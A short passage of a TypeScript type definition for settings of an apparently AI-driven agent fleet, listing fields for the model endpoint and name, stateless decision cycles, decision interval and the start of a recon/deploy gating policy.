ai_local_endpoint?: string;
/** LLM model name for fleet AI control. */
ai_model?: string;
/** Stateless per-cycle decisions — no conversation memory. */
ai_no_context?: boolean;
/** Seconds between AI decision cycles per agent. */
ai_decision_interval_sec?: number;
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
ai_interval_sec?: number;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {